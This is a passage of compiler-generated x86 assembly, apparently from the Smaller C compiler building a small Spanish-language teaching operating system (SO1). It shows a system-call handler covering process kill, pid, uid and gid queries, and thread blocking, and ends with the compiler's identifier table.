; Expanded expression: "descProceso L10 *(4) 292 * + 12 + *(4) indProcesoActual *(4) == "
; Fused expression: "descProceso push-ax L10 * *ax 292 + *sp ax + ax 12 push-ax indProcesoActual == **sp *ax IF! "
section .relod
dd L199
section .text
db 0x66, 0xB8
L199:
dd _descProceso
push eax
section .relod
dd L200
section .text
db 0x66, 0xB8
L200:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
push eax
section .relod
dd L201
section .text
db 0x66, 0xB8
L201:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ecx, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, ecx
jne L197
; RPN'ized expression: "descProceso i + *u &u noStatus -> *u TRUE = "
; Expanded expression: "descProceso L10 *(4) 292 * + 4 + 1 =(4) "
; Fused expression: "descProceso push-ax L10 * *ax 292 + *sp ax + ax 4 =(204) *ax 1 "
section .relod
dd L202
section .text
db 0x66, 0xB8
L202:
dd _descProceso
push eax
section .relod
dd L203
section .text
db 0x66, 0xB8
L203:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov eax, 1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
L197:
; RPN'ized expression: "i ++p "
; Expanded expression: "L10 ++p(4) "
; Fused expression: "L10 ++p(4) *ax "
section .relod
dd L204
section .text
db 0x66, 0xB8
L204:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
inc dword [si]
; }
jmp L194
L195:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u 0 = "
; Expanded expression: "tramaThread *(4) 0 + 20 + 0 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 =(172) *ax 0 "
section .relod
dd L205
section .text
db 0x66, 0xB8
L205:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; }
jmp L191
L190:
; else
; {
; RPN'ized expression: "i 0 = "
; Expanded expression: "L10 0 =(4) "
; Fused expression: "L10 =(204) *ax 0 "
section .relod
dd L206
section .text
db 0x66, 0xB8
L206:
dd L10
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; while
; RPN'ized expression: "i 16 < descProceso i + *u &u ppindx -> *u indProcesoActual != && "
; Expanded expression: "L10 *(4) 16 < [sh&&->209] descProceso L10 *(4) 292 * + 12 + *(4) indProcesoActual *(4) != &&[209] "
L207:
; Fused expression: "L10 < *ax 16 [sh&&->209] descProceso push-ax L10 * *ax 292 + *sp ax + ax 12 push-ax indProcesoActual != **sp *ax &&[209] "
section .relod
dd L210
section .text
db 0x66, 0xB8
L210:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
setl al
movzx eax, al
; JumpIfZero
test eax, eax
je L209
section .relod
dd L211
section .text
db 0x66, 0xB8
L211:
dd _descProceso
push eax
section .relod
dd L212
section .text
db 0x66, 0xB8
L212:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
push eax
section .relod
dd L213
section .text
db 0x66, 0xB8
L213:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ecx, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, ecx
setne al
movzx eax, al
L209:
; JumpIfZero
test eax, eax
je L208
; RPN'ized expression: "i ++p "
; Expanded expression: "L10 ++p(4) "
; Fused expression: "L10 ++p(4) *ax "
section .relod
dd L214
section .text
db 0x66, 0xB8
L214:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
inc dword [si]
jmp L207
L208:
; if
; RPN'ized expression: "i 16 < "
; Expanded expression: "L10 *(4) 16 < "
; Fused expression: "L10 < *ax 16 IF! "
section .relod
dd L217
section .text
db 0x66, 0xB8
L217:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
jge L215
; {
; RPN'ized expression: "descProceso indProcesoActual + *u &u hpindx -> *u 1 -u = "
; Expanded expression: "descProceso indProcesoActual *(4) 292 * + 16 + -1 =(4) "
; Fused expression: "descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 16 =(204) *ax -1 "
section .relod
dd L218
section .text
db 0x66, 0xB8
L218:
dd _descProceso
push eax
section .relod
dd L219
section .text
db 0x66, 0xB8
L219:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 16
mov ebx, eax
mov eax, -1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : int
; RPN'ized expression: "( 1 -u (something220) bloquearThreadActual ) "
; Expanded expression: " -1 bloquearThreadActual ()4 "
; Fused expression: "( -1 , bloquearThreadActual )4 "
push dword -1
db 0x9A
section .relot
dd L221
section .text
L221:
dd _bloquearThreadActual
sub sp, -4
; }
jmp L216
L215:
; else
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u 1 -u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + -1 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 =(172) *ax -1 "
section .relod
dd L222
section .text
db 0x66, 0xB8
L222:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov eax, -1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
L216:
; }
L191:
L180:
; }
L151:
; }
L120:
; break
jmp L16
; case
; RPN'ized expression: "4 "
; Expanded expression: "4 "
; Expression value: 4
L223:
; RPN'ized expression: "( indProcesoActual doKill ) "
; Expanded expression: " indProcesoActual *(4) doKill ()4 "
; Fused expression: "( indProcesoActual *(4) ax , doKill )4 "
section .relod
dd L224
section .text
db 0x66, 0xB8
L224:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L225
section .text
L225:
dd _doKill
sub sp, -4
; break
jmp L16
; case
; RPN'ized expression: "5 "
; Expanded expression: "5 "
; Expression value: 5
L226:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u descProceso indProcesoActual + *u &u pid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + descProceso indProcesoActual *(4) 292 * + 0 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 0 =(172) **sp *ax "
section .relod
dd L227
section .text
db 0x66, 0xB8
L227:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L228
section .text
db 0x66, 0xB8
L228:
dd _descProceso
push eax
section .relod
dd L229
section .text
db 0x66, 0xB8
L229:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; case
; RPN'ized expression: "6 "
; Expanded expression: "6 "
; Expression value: 6
L230:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u indProcesoActual = "
; Expanded expression: "tramaThread *(4) 0 + 20 + indProcesoActual *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax indProcesoActual =(172) **sp *ax "
section .relod
dd L231
section .text
db 0x66, 0xB8
L231:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L232
section .text
db 0x66, 0xB8
L232:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; case
; RPN'ized expression: "7 "
; Expanded expression: "7 "
; Expression value: 7
L233:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u descProceso descProceso indProcesoActual + *u &u ppindx -> *u + *u &u pid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + descProceso descProceso indProcesoActual *(4) 292 * + 12 + *(4) 292 * + 0 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax descProceso push-ax descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 12 * *ax 292 + *sp ax + ax 0 =(172) **sp *ax "
section .relod
dd L234
section .text
db 0x66, 0xB8
L234:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L235
section .text
db 0x66, 0xB8
L235:
dd _descProceso
push eax
section .relod
dd L236
section .text
db 0x66, 0xB8
L236:
dd _descProceso
push eax
section .relod
dd L237
section .text
db 0x66, 0xB8
L237:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; case
; RPN'ized expression: "8 "
; Expanded expression: "8 "
; Expression value: 8
L238:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u descProceso indProcesoActual + *u &u uid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + descProceso indProcesoActual *(4) 292 * + 284 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 284 =(172) **sp *ax "
section .relod
dd L239
section .text
db 0x66, 0xB8
L239:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L240
section .text
db 0x66, 0xB8
L240:
dd _descProceso
push eax
section .relod
dd L241
section .text
db 0x66, 0xB8
L241:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 284
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; case
; RPN'ized expression: "9 "
; Expanded expression: "9 "
; Expression value: 9
L242:
; RPN'ized expression: "descProceso indProcesoActual + *u &u uid -> *u tramaThread tw -> *u &u BX -> *u = "
; Expanded expression: "descProceso indProcesoActual *(4) 292 * + 284 + tramaThread *(4) 0 + 20 + *(2) =(4) "
; Fused expression: "descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 284 push-ax tramaThread + *ax 0 + ax 20 =(202) **sp *ax "
section .relod
dd L243
section .text
db 0x66, 0xB8
L243:
dd _descProceso
push eax
section .relod
dd L244
section .text
db 0x66, 0xB8
L244:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 284
push eax
section .relod
dd L245
section .text
db 0x66, 0xB8
L245:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; break
jmp L16
; case
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
L246:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u descProceso indProcesoActual + *u &u gid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + descProceso indProcesoActual *(4) 292 * + 288 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 288 =(172) **sp *ax "
section .relod
dd L247
section .text
db 0x66, 0xB8
L247:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L248
section .text
db 0x66, 0xB8
L248:
dd _descProceso
push eax
section .relod
dd L249
section .text
db 0x66, 0xB8
L249:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 288
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; case
; RPN'ized expression: "11 "
; Expanded expression: "11 "
; Expression value: 11
L250:
; RPN'ized expression: "descProceso indProcesoActual + *u &u gid -> *u tramaThread tw -> *u &u BX -> *u = "
; Expanded expression: "descProceso indProcesoActual *(4) 292 * + 288 + tramaThread *(4) 0 + 20 + *(2) =(4) "
; Fused expression: "descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 288 push-ax tramaThread + *ax 0 + ax 20 =(202) **sp *ax "
section .relod
dd L251
section .text
db 0x66, 0xB8
L251:
dd _descProceso
push eax
section .relod
dd L252
section .text
db 0x66, 0xB8
L252:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 288
push eax
section .relod
dd L253
section .text
db 0x66, 0xB8
L253:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; break
jmp L16
; case
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
L254:
; loc <something> : int
; RPN'ized expression: "pid tramaThread tw -> *u &u DX -> *u (something255) = "
; Expanded expression: "L11 tramaThread *(4) 0 + 24 + *(2) =(4) "
; Fused expression: "L11 push-ax tramaThread + *ax 0 + ax 24 =(202) **sp *ax "
section .relod
dd L256
section .text
db 0x66, 0xB8
L256:
dd L11
push eax
section .relod
dd L257
section .text
db 0x66, 0xB8
L257:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; if
; RPN'ized expression: "pid 0 >= "
; Expanded expression: "L11 *(4) 0 >= "
; Fused expression: "L11 >= *ax 0 IF! "
section .relod
dd L260
section .text
db 0x66, 0xB8
L260:
dd L11
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
jl L258
; {
; RPN'ized expression: "i ( pid indice ) = "
; Expanded expression: "L10 L11 *(4) indice ()4 =(4) "
; Fused expression: "L10 push-ax ( L11 *(4) ax , indice )4 =(204) **sp ax "
section .relod
dd L261
section .text
db 0x66, 0xB8
L261:
dd L10
push eax
section .relod
dd L262
section .text
db 0x66, 0xB8
L262:
dd L11
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L263
section .text
L263:
dd _indice
sub sp, -4
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : unsigned short
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u i 1 -u != 2 -u ( i matarProcIndx ) ? (something264) = "
; Expanded expression: "tramaThread *(4) 0 + 20 + L10 *(4) -1 != [sh||->265] -2 goto &&[265] L10 *(4) matarProcIndx ()4 &&[266] unsigned short =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax L10 != *ax -1 [sh||->265] -2 [goto->266] &&[265] ( L10 *(4) ax , matarProcIndx )4 &&[266] unsigned short =(172) **sp ax "
section .relod
dd L267
section .text
db 0x66, 0xB8
L267:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L268
section .text
db 0x66, 0xB8
L268:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -1
setne al
movzx eax, al
; JumpIfNotZero
test eax, eax
jne L265
mov eax, -2
jmp L266
L265:
section .relod
dd L269
section .text
db 0x66, 0xB8
L269:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L270
section .text
L270:
dd _matarProcIndx
sub sp, -4
L266:
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; }
jmp L259
L258:
; else
; {
; for
; RPN'ized expression: "i 1 = "
; Expanded expression: "L10 1 =(4) "
; Fused expression: "L10 =(204) *ax 1 "
section .relod
dd L275
section .text
db 0x66, 0xB8
L275:
dd L10
mov ebx, eax
mov eax, 1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
L271:
; RPN'ized expression: "i 16 < "
; Expanded expression: "L10 *(4) 16 < "
; Fused expression: "L10 < *ax 16 IF! "
section .relod
dd L276
section .text
db 0x66, 0xB8
L276:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
jge L274
; RPN'ized expression: "i ++p "
; Expanded expression: "L10 ++p(4) "
; RPN'ized expression: "( i matarProcIndx ) "
; Expanded expression: " L10 *(4) matarProcIndx ()4 "
; Fused expression: "( L10 *(4) ax , matarProcIndx )4 "
section .relod
dd L277
section .text
db 0x66, 0xB8
L277:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L278
section .text
L278:
dd _matarProcIndx
sub sp, -4
L272:
; Fused expression: "L10 ++p(4) *ax "
section .relod
dd L279
section .text
db 0x66, 0xB8
L279:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
inc dword [si]
jmp L271
L274:
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u 0 = "
; Expanded expression: "tramaThread *(4) 0 + 20 + 0 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 =(172) *ax 0 "
section .relod
dd L280
section .text
db 0x66, 0xB8
L280:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; if
; RPN'ized expression: "indProcesoActual 0 > "
; Expanded expression: "indProcesoActual *(4) 0 > "
; Fused expression: "indProcesoActual > *ax 0 IF! "
section .relod
dd L283
section .text
db 0x66, 0xB8
L283:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
jle L281
; RPN'ized expression: "( buscarNuevoThreadActual ) "
; Expanded expression: " buscarNuevoThreadActual ()0 "
; Fused expression: "( buscarNuevoThreadActual )0 "
db 0x9A
section .relot
dd L284
section .text
L284:
dd _buscarNuevoThreadActual
L281:
; }
L259:
; break
jmp L16
; default
L285:
; }
jmp L16
L17:
cmp eax, 0
je L19
cmp eax, 1
je L20
cmp eax, 2
je L77
cmp eax, 3
je L113
cmp eax, 4
je L223
cmp eax, 5
je L226
cmp eax, 6
je L230
cmp eax, 7
je L233
cmp eax, 8
je L238
cmp eax, 9
je L242
cmp eax, 10
je L246
cmp eax, 11
je L250
cmp eax, 12
je L254
jmp L285
L16:
L8:
db 0x66
leave
retf
L286:
section .fxnsz
dd L286 - _so1_manejador_01
extern _descProceso
extern _indProcesoActual
extern _bloquearThreadActual
extern _tramaThread
extern _c2cPFR
extern _descThread
extern _indThreadActual
extern _kk_fork
extern _preEjecutar
extern _printStrBIOS
extern _apilarPC2c
extern _buscarNuevoThreadActual
extern _eliminarProcIndx
extern _eliminarPC2c
extern _activarThread
extern _indice
extern _doKill
extern _matarProcIndx
; Syntax/declaration table/stack:
; Bytes used: 11215/40960
; Macro table:
; Macro __SMALLER_C__ = `0x0100`
; Macro __SMALLER_C_32__ = ``
; Macro __HUGE__ = ``
; Macro __SMALLER_C_SCHAR__ = ``
; Bytes used: 74/5120
; Identifier table:
; Ident __floatsisf
; Ident __floatunsisf
; Ident __fixsfsi
; Ident __fixunssfsi
; Ident __addsf3
; Ident __subsf3
; Ident __negsf2
; Ident __mulsf3
; Ident __divsf3
; Ident __lesf2
; Ident __gesf2
; Ident intptr_t
; Ident uintptr_t
; Ident intmax_t
; Ident uintmax_t
; Ident int8_t
; Ident int_least8_t
; Ident int_fast8_t
; Ident uint8_t
; Ident uint_least8_t
; Ident uint_fast8_t
; Ident int16_t
; Ident int_least16_t
; Ident int_fast16_t
; Ident uint16_t
; Ident uint_least16_t
; Ident uint_fast16_t
; Ident int32_t
; Ident int_least32_t
; Ident int_fast32_t
; Ident uint32_t
; Ident uint_least32_t
; Ident uint_fast32_t
; Ident <something>
; Ident quot
; Ident rem
; Ident imaxdiv_t
; Ident FALSE
; Ident TRUE
; Ident bool_t
; Ident pointer_t
; Ident funcion_t
; Ident manejador_t
; Ident rti_t
; Ident isr_t
; Ident handler_t
; Ident retardarThread_t
; Ident ptrTVI_t
; Ident modoSO1_Bin
; Ident modoSO1_Exe
; Ident modoSO1_Bs
; Ident modoSO1_t
; Ident lo
; Ident hi
; Ident lh_t
; Ident offset
; Ident segment
; Ident address_t
; Ident ptr
; Ident adr
; Ident uPtrAdr_t
; Ident pid_t
; Ident tid_t
; Ident uid_t
; Ident gid_t
; Ident pindx_t
; Ident tindx_t
; Ident df_t
; Ident dfs_t
; Ident rindx_t
; Ident printCarVideo
; Ident car
; Ident printLnVideo
; Ident printStrVideo
; Ident str
; Ident printStrHastaVideo
; Ident n
; Ident lleno
; Ident printDecVideo
; Ident num
; Ident l
; Ident printLDecVideo
; Ident printIntVideo
; Ident printLIntVideo
; Ident printHexVideo
; Ident printLHexVideo
; Ident printBinVideo
; Ident printLBinVideo
; Ident printPtrVideo
; Ident printByteVideo
; Ident b
; Ident printWordVideo
; Ident w
; Ident printCadVideo
; Ident cad
; Ident modoAp_t
; Ident DS
; Ident ES
; Ident EDI
; Ident ESI
; Ident EBP
; Ident ESP
; Ident EBX
; Ident EDX
; Ident ECX
; Ident EAX
; Ident IP
; Ident CS
; Ident Flags
; Ident tramaDWords_t
; Ident DI
; Ident rDI
; Ident SI
; Ident rSI
; Ident BP
; Ident rBP
; Ident SP
; Ident rSP
; Ident BX
; Ident rBX
; Ident DX
; Ident rDX
; Ident CX
; Ident rCX
; Ident AX
; Ident rAX
; Ident tramaWords_t
; Ident BL
; Ident BH
; Ident rB
; Ident DL
; Ident DH
; Ident rD
; Ident CL
; Ident CH
; Ident rC
; Ident AL
; Ident AH
; Ident rA
; Ident tramaBytes_t
; Ident td
; Ident tw
; Ident tb
; Ident trama_t
; Ident tam
; Ident sig
; Ident ant
; Ident aux
; Ident relleno
; Ident bloque_t
; Ident ptrBloque_t
; Ident cab
; Ident dobleEnlace_t
; Ident numElem
; Ident primero
; Ident cabecera
; Ident e
; Ident c2c_t
; Ident posicionC2c
; Ident i
; Ident c2c
; Ident eliminarC2c
; Ident apilarC2c
; Ident encolarC2c
; Ident desencolarC2c
; Ident inicializarC2c
; Ident compartida
; Ident ptrC2c_t
; Ident posicionPC2c
; Ident eliminarPC2c
; Ident ptrC2c
; Ident apilarPC2c
; Ident encolarPC2c
; Ident desencolarPC2c
; Ident inicializarPC2c
; Ident callBack_t
; Ident arg
; Ident in
; Ident out
; Ident max
; Ident callBack
; Ident descCcb_t
; Ident ccb_t
; Ident inicCcb
; Ident ccb
; Ident encolarCcb
; Ident cb
; Ident desencolarCcb
; Ident eliminarCcb
; Ident eliminarSegCcb
; Ident segmento
; Ident vaciarCcb
; Ident atenderCcb
; Ident libre
; Ident preparado
; Ident ejecutandose
; Ident bloqueado
; Ident estado_t
; Ident modoAp
; Ident dfs
; Ident pos
; Ident dfa_t
; Ident pid
; Ident noStatus
; Ident status
; Ident ppindx
; Ident hpindx
; Ident c2cHijos
; Ident c2cThreads
; Ident CSProc
; Ident tamCodigo
; Ident desplBSS
; Ident desplPila
; Ident tamFichero
; Ident programa
; Ident comando
; Ident nfa
; Ident tfa
; Ident uid
; Ident gid
; Ident descProceso_t
; Ident tid
; Ident estado
; Ident esperandoPor
; Ident trama
; Ident ptindx
; Ident htindx
; Ident pindx
; Ident SSThread
; Ident SP0
; Ident descThread_t
; Ident flibre
; Ident fRegular
; Ident fedBloques
; Ident fedCaracteres
; Ident tuberia
; Ident tipoFichero_t
; Ident tipo
; Ident nombre
; Ident rindx
; Ident menor
; Ident shareMode
; Ident contAp_L
; Ident contAp_E
; Ident descFichero_t
; Ident rLibre
; Ident rDCaracteres
; Ident rDBloques
; Ident rTuberia
; Ident rGP
; Ident rGM
; Ident rSF
; Ident rOtro
; Ident tipoRecurso_t
; Ident open_t
; Ident modo
; Ident release_t
; Ident read_t
; Ident dir
; Ident nbytes
; Ident aio_read_t
; Ident write_t
; Ident aio_write_t
; Ident lseek_t
; Ident whence
; Ident fcntl_t
; Ident cmd
; Ident ioctl_t
; Ident request
; Ident eliminar_t
; Ident tindx
; Ident c2cFichRec
; Ident numVI
; Ident nVInt
; Ident irq
; Ident isr
; Ident open
; Ident release
; Ident read
; Ident aio_read
; Ident write
; Ident aio_write
; Ident lseek
; Ident fcntl
; Ident ioctl
; Ident eliminar
; Ident descRecurso_t
; Ident SP0_So1
; Ident IMR
; Ident modoSO1
; Ident ptrDebugWord
; Ident info_t
; Ident signatura
; Ident bytesUltSector
; Ident sectores
; Ident numDirReub
; Ident numParCabecera
; Ident minAlloc
; Ident maxAlloc
; Ident SS0
; Ident checkSum
; Ident IP0
; Ident CS0
; Ident offTablaReub
; Ident numOverlay
; Ident cabecera_t
; Ident Libres
; Ident Ocupados
; Ident e2DescProceso
; Ident e2DescThread
; Ident e2DescFichero
; Ident e2DescRecurso
; Ident e2Hijos
; Ident e2Threads
; Ident e2Preparados
; Ident e2Urgentes
; Ident e2POrdenados
; Ident e2TDormidos
; Ident e2FichRec
; Ident e2PFR_t
; Ident DPLibres
; Ident DPOcupados
; Ident DTLibres
; Ident DTOcupados
; Ident TPreparados
; Ident TUrgentes
; Ident POrdenados
; Ident TDormidos
; Ident DFLibres
; Ident DFOcupados
; Ident DRLibres
; Ident DROcupados
; Ident numColasPFR
; Ident cPFR_t
; Ident sigThread_t
; Ident activarThread_t
; Ident buscarNuevoThreadActual_t
; Ident bloquearThreadActual_t
; Ident ptrIndProcesoActual
; Ident ptrIndThreadActual
; Ident ptrTramaThread
; Ident ptrActivarAlEpilogo
; Ident ptrDescProceso
; Ident tamDescProceso
; Ident ptrDescThread
; Ident tamDescThread
; Ident ptrDescFichero
; Ident ptrDescRecurso
; Ident ptrC2cPFR
; Ident ptrE2PFR
; Ident ptrNivelActivacionSO1H
; Ident ptrEnHalt
; Ident ptrHayTic
; Ident ptrCcbAlEpilogo
; Ident ptrSS_Thread
; Ident ptrSP_Thread
; Ident ptrSS_Kernel
; Ident ptrSP0_Kernel
; Ident SP0_SO1H
; Ident ptrContRodajas
; Ident ptrContTicsRodaja
; Ident ptrVIOrg
; Ident sigThread
; Ident activarThread
; Ident buscarNuevoThreadActual
; Ident bloquearThreadActual
; Ident ptrListaLibres
; Ident ptrTamBloqueMax
; Ident descSO1H_t
; Ident descProcesoExt_t
; Ident descThreadExt_t
